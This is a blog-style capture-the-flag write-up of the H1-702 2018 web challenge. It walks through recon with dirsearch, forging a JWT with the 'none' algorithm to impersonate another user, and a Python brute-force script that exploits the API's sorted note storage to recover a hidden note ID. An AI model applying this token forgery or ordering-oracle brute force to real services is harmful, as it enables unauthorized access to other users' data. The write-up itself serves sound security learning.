H1-702-CTF Write-up

Intro

During the C-Days18 conference André (@0xACB) and Zé (@JLLiS) CTF junkies teased me to participate in H1CTF18. At first, I wasn’t entirely convinced since it had already been running for a few days. Nevertheless, I decided to have a crack at it.

The web challenge starts with a simple visit to an endpoint on http://159.203.178.9/ that is running a webpage with the following title “Notes RPC Capture The Flag” and in the body “ …somewhere on this server, a service can be found that allows a user to securely stores notes. In one of the notes, a flag is hidden.”

Without a shadow of a doubt; I must find a way to interact with that note service.

Recon Phase

As always recon is the first thing to do. I started with the browser. After opening the page, I turned to the network tab on the Developer Tools and went through to the response headers, where I got “Apache/2.4.18 (Ubuntu)”.

My first attempt was looking for “/server-status/“ since the (status module allows a server administrator to find out how well their server is performing.). In short, it would provide all the interactions with the server and therefore it would leak paths, clients IPs and more. Yet, this feat was short-lived. There’s nothing better than a smashing 403 Forbidden!

Unwilling to accept defeat, I went back to the basics. I decided to tap into some of the most common paths: /docs/, /documentation/, /api/, /json-rpc/ adding plurals and capitalization to the mix. Again still, nothing to work with.
The quest continued, this time through a smart move to use the well-known tools Nmap to check if the service is running on some port other than 80 (FYI no luck) and dirsearch to improve what I was doing by hand - brute-force well-known paths.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Look on the service IP with the default dictionary for dirs/files with PHP and HTML extension.
$ python3 dirsearch.py -u http://159.203.178.9/ -e php,html -f
_|. _ _ _ _ _ _|_ v0.3.7
(_||| _) (/_(_|| (_| )

Extensions: php, html | Threads: 10 | Wordlist size: 15054

Target: http://159.203.178.9/

[21:15:20] Starting:
[21:15:35] 403 - 304B - /.ht_wsr.txt.html
[21:15:35] 403 - 303B - /.ht_wsr.txt.php
...
[21:16:33] 200 - 11KB - /README.html
[21:19:40] 200 - 597B - /index.html
...

Task Completed

Guess what README.html and index.html came up with - the status code of 200. OK, game on!

RTFM - Be Curious

Following the previous finding, I go to the README.html and come across the page entitled “Notes RPC documentation”. In the page, the technical documentation showed how I can interact with the service aka the API documentation. So guess what, I read it and pinpoint some interesting methods - getNotesMetadata(), resetNotes(), createNote() and getNote().

Keeping in mind that the service was running on a vulnerable Apache 2.4.18, I go through the public CVEs and check if there is something I can put my hands on - overflows, leaks, and the sort. Yet, there was nothing interesting or exploitable.

Before moving to the next phase, I hit the source code of the README.html and strike gold. I get an unexpected gem under Versioning section. In it, I find the following comment:

1
2
3
4
<!--
Version 2 is in the making and being tested right now, it includes an optimized file format that sorts the notes based on their unique key before saving them. This allows them to be queried faster.
Please do NOT use this in production yet!
-->

It’s always nice to stay in the loop. Not useful for now though.

Hack

Since at this point I knew how to interact with the API, I created a small python script to help me check the several methods and eventually find my way to the flag.

This section is divided into the three significant steps that I had to follow to gather all the right “ingredients” for the potion.

JSON Web Token

In the documentation, when I was building the client for the API, I came across an Authorization header. You don’t need rocket science to figure out that it is a JSON Web Token (JWT) and that it is possible to have a look of what’s inside by simply copying the given token and pasting it on the official site https://jwt.io/.

1
2
3
4
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
Header: { "typ": "JWT", "alg": "HS256"}
Payload: {"id": 2}
Signature

The first thing I checked was which algorithm was being used to generate this token. There’s no riddle here, the answer is straightforward HS256 (HMAC with SHA-256) is a symmetric algorithm, to hack it I need to know the secret. This secret could then be used to validate the signature. If we have access to it, it would be possible to create valid tokens.
The payload had one key ID with the value 2. Hence, it wasn’t difficult to make a clear-cut assumption that the ID would be the userID, used on the API side.

I started to brainstorm a few hackish flows:

  • Try the ‘none’ algorithm;
  • Brute-force the secret. First with a good dictionary, if not successful with some strings a-zA-Z0-9 and hoping for the best - a secret with a small length;
  • (not an option but still crossed my mind) the abuse of the default decode function. For that nevertheless, the RS256 Algorithm needs to be used and that wasn’t the case.

I first had a go at it by creating a JWT Token with ID 1, using the lovely python:

1
2
3
import jwt
jwt = jwt.encode({'id': '1'}, '', algorithm='none')
"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6IjEifQ.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak"

And voila, we got a winner!
Calling the getNotesMetadata() with the new JWT, I got this response:

1
{u'count': 1, u'epochs': [u'1528911533']}

I proceeded to resetNotes() to make sure and call getNotesMetadata() again. And yes, it is no mirage, it’s the flag!

API version 2

Putting things into perspective:

  • I can be the user with the flag;
  • To retrieve the note, I need to know the ID;
  • I have no clue about it, except for the fact that I was told in the documentation for the creation of a note: “An optional ID. If not provided, it’ll generate a 16-byte random string.”

The latter pointing to a Brute-force attack to the ID. However, brute-force an ID with 16-bytes, assuming that was auto-generated, is time-consuming.
Seeking a cleverer alternative, I turned once more to the documentation page, this time not skimming but scanning. I was putting my money on the fact that the comment wasn’t there by chance.

Thus, here are the juicy parts:

“Version 2 is in the… …an optimized file format that sorts the notes based on their unique key before saving them. …”

  • It exists an API version 2;
  • “before saving them” points to the creation phase;
  • The notes will be stored in a sorted way.

All requests to the API have the Accept header with the value ‘application/notes.api.v1+json’. I wondered if that was changed to ‘application/notes.api.v2+json’, what would happen.

1
{u'url': u'/rpc.php?method=getNote&id=a03da2968f21947e88da818b692c9c9c'}

The mission was successful, a note was created.

By calling getNotesMetaData(), I got two epochs, the flag and the new one. At last, those who endure, conquer!

1
{u'count': 2, u'epochs': [u'1528911533', u'1529754672']}

Assuming that APIv2 was doing what was expected - sort the notes based on their unique key before saving them.
The generated ID a03da2968f21947e88da818b692c9c9c was saved after the flag. In order to validate this, I had to create a note with the letter ‘a’ as an ID:

1
2
createNote('a'): {u'url': u'/rpc.php?method=getNote&id=a'}
getNotesMetadata(): {u'count': 2, u'epochs': [u'1528911533', u'1529755012']}

First strike - The same thing. It was not looking good. Decided to move to another note with the letter ‘A’, this time as an ID:

1
2
createNote('A'): {u'url': u'/rpc.php?method=getNote&id=A'}
getNotesMetadata(): {u'count': 2, u'epochs': [u'1529755088', u'1528911533']}

The second strike was “the” strike. The note was saved before the flag.
Now we’re talking. I had what I needed to create a swift brute-force attack.

Evaluation Function

With the APIv2, I was able to create notes that are stored before and after the flag. This, in turn, opened up the possibility to create an evaluation function with the sole purpose to say - for a given ID, it will check if the note was created before or after the flag entry. I will use my reference value the flag epoch field to evaluate the note position.

1
2
3
4
5
6
7
8
def evaluate():
epochs = getNotesMetadata()
if epochs.index(refValue) == 0:
#New note is after..
return False
else:
#New note is before!
return True

Run it and profit!

At the point of having gathered everything needed to go through, it is necessary to organize and integrate all the previous steps.

  1. Create a loop in which in every iteration I will call resetNotes() so as to have a safe base of comparison;
  2. Iterate through a predefined alphabet (a-zA-Z0-9) in which I will create a note with a char from the alphabet as an ID and check its position regarding the flag;
  3. When the evaluate function starts to return True (note was saved before), it is necessary to catch the last char before the change to False (note was saved after) and build the flag ID resorting to this logic - ID: “E” came True and ID: “F” False, E will be part of my flag ID.

Given the fact that I don’t know the final size of my flag ID, I will try to grab the note with WhatIKnowSoFar plus the last “True” char and first “False” char. This validation will henceforth allow grabbing the note with the flag when I get the correct ID.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def bfFlag():
start = time.time()
bfID = ''
temp = ''
toKeep = False
killswitch = True
while killswitch:
resetNotes()
for char in list(alphabet):
sys.stdout.write(">> Checking Value: "+bfID+char+" ("+str(len(bfID))+")"+"\r")
sys.stdout.flush()
createNote(bfID+char)
#Avoid time issues
time.sleep(1)
#Check the current ID postion After/Before and keep the last "before" char temporarily
if evaluate():
temp = char
toKeep = True
#ID position is after the reference Epoch so the last test char (temp) is to keep
elif toKeep:
#Validate the if the over char is the one!
killswitch = getNote(bfID+char)
if not killswitch:
break
#Update bfID with last known "before" char and check note
bfID += temp
killswitch = getNote(bfID)
toKeep = False
break
resetNotes()
end = time.time()
timetaken = end - start
print ">> Found it in: "+str(timetaken)

A successful run looks like the example below. Yes, that sleep(1) on the code didn’t appear by magic.

1
2
3
4
 API Data: {u'note': u'NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw==', u'epoch': u'1528911533'}
>> Note ID: EelHIXsuAw4FXCa9epee
>> Note: NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw==
>> Found it in: 976.451925993

16 minutes in, I was able to put my hands on the note with the flag NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw==.

The masterpiece still needed a finishing touch - decode the note since it was encoded in Base64.

1
2
$ echo `echo NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw== | base64 --decode`
702-CTF-FLAG: NP26nDOI6H5ASemAOW6g

If you are reading this, at this point, probably you are as keen on and passionate about solving challenges, as this one, as I am. Hope you find some use for the results of this quest.

If exploitation is an art I try to master on a daily basis, I’m a still a newbie on the art of blogging. So, please don’t judge these lines too harshly. Lastly, I would like to thank André and Zé for all the clues, those missing pieces that keep you on track.

References

  1. https://httpd.apache.org/docs/2.4/mod/mod_status.html
  2. https://nmap.org/
  3. https://github.com/maurosoria/dirsearch
  4. https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-199589/Apache-Http-Server-2.4.18.html
  5. https://gist.github.com/Simpsonpt/135811c5446ed16107208f8c13802b11
  6. https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
  7. https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html
  8. https://www.youtube.com/watch?v=MMdnKe4NM-s